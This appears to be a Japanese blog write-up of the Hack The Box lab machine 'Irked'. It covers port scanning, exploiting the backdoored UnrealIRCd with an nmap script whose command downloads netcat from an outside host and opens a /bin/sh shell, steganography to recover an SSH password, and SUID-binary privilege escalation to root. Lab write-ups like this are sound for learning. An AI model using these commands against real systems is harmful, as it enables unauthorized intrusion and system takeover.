「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。
今回は、HackTheBoxのリタイアマシン「Irked」のWriteUpです。
本記事について
本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。
自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。
またすべての発言は所属団体ではなく個人に帰属します。
もくじ
探索
とりあえずいつも通りスキャンをかけていきます。
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.117 $RHOST/g' /etc/hosts
$ nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 32926/tcp6 status
| 100024 1 34772/udp6 status
| 100024 1 36611/tcp status
|_ 100024 1 55055/udp status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
111番ポートが開いてるのは割と珍しいですね。
111番ポートはrpcbindのサービスが使用しているようです。
nmapの結果でもrpcinfoを叩いてくれているので、どのRPCプログラム番号が開いているかも確認できました。
ここでrpcinfoコマンドを叩いてみたところ、nampよりもう少し詳細な情報が取れました。
nfsは動いていなさそうです。
$ rpcinfo -p $RHOST
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 46043 status
100024 1 tcp 39977 status
ここで少し行き詰まりましたが、80番ポートに接続するとIRC is almost working!
という文言が出てきました。
ググってみたところ、IRCは通常7000番前後のポートで稼働するようです。
というわけでAll portに対してスキャンを実施します。
$ nmap -p- $RHOST -Pn -sC -sV -A | tee nmap_max.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 39977/tcp status
| 100024 1 46043/udp status
| 100024 1 47929/tcp6 status
|_ 100024 1 51699/udp6 status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
39977/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
6697、8067、65534あたりでIRCのポートが空いているようです。
ひとまず列挙を試してみます。
参考:irc-unrealircd-backdoor NSE script — Nmap Scripting Engine documentation
$ nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' $RHOST
PORT STATE SERVICE REASON
6697/tcp open ircs-u syn-ack
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Final times for host: srtt: 238054 rttvar: 178574 to: 952350
非常に興味深いことに、UnrealIRCd 3.2.8.1
のバージョンはバックドアが公式に埋め込まれたバージョンに該当するようです。
参考:Full Disclosure: Fw: [irc-security] UnrealIRCd 3.2.8.1 backdoored on official ftp and site
というわけで、以下のエクスプロイトを叩いたらリバースシェルが取得できました。
内部探索
ここでフラグを探索してみたところ、ユーザ名djmardovの配下に存在していることがわかりました。
現在のユーザircdではこのファイルは開けないので、権限昇格を目指していきます。
$ find / -name user.txt 2>/dev/null
/home/djmardov/Documents/user.txt
とりあえず探索のためにhistoryを叩いてみたところ、/home/djmardov/Documents
内の.backupを操作していたことが確認できました。
そこで情報を出力してみたところ、クレデンシャル情報らしき情報が取得できました。
これの使い道がさっぱりわからずしばらく時間を溶かしましたが、「steg」と書いてあったことからブラウザで表示されていた画像のステガノを試しました。
steghideを使ったところパスフレーズを要求されたのでこちらのクレデンシャル情報を使ったところ、ユーザdjmardovにSSHログイン可能なパスワードが取得できました。
これでUserは獲得できました。
権限昇格
ひとまずlipeassをかけていきます。
$ scp /home/kali/Hacking/Tools/linpeas.sh djmardov@$RHOST:/home/djmardov
$ ./linpeas.sh -a | tee linpeas.txt
出力結果を見てみると、ローカルアドレスでSMTPのプロセスが動いていることがわかりました。
25/tcp open smtp Exim smtpd
| smtp-commands: irked Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
とりあえずバナーグラビングしてみると、SMTP Exim 4.84_2
を使っていることがわかります。
また、exim4のプロセスはroot権限で動作していました。
ここで一通りのエクスプロイトを試したのですが、残念ながらうまく動作しませんでした。
仕方がないのでもう一度linpeasに立ち戻ると、/usr/bin/viewuser
というバイナリがあり、ここから任意のシェルスクリプトをroot権限で実行可能なことがわかりました。
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 7.2K May 16 2018 /usr/bin/viewuser (Unknown SUID binary)
そこで、このバイナリを利用してシェルを呼び出したところ、rootの権限が取得できました。